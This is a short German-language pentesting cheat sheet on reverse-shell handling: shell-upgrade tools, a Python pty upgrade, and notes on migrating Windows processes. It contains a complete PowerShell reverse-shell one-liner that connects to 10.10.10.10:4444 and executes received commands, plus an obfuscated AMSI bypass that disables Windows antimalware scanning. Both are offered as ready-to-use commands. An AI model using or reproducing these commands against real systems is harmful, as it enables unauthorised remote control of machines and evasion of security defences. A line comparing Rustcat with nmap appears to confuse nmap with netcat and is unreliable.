Rustcat bietet einige vorteile gegenüber nmap, wie history, tab completion colors CTRL-C blocking rlwrap fügt eine history und autocompletion zu nmap hinzu
https://github.com/nodauf/Girsh https://github.com/OWASP/ZSC?tab=readme-ov-file
Python Upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
Windows Upgrade shells
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient(\"10.10.10.10\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"^> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
Windows Shell Migration
Wann ein Prozess migriert werden sollte: - Bei einer unstabilen Shell, beispielsweise zu explorer.exe - Manchmal wird eine Interaktive Session benötigt, welche nicht in session 0 ist. - Um von einem 32Bit Prozess zu 64Bit zu migrieren Bei der migration wird in dem zu migrierenden Prozess ein neuer Thread erstellt.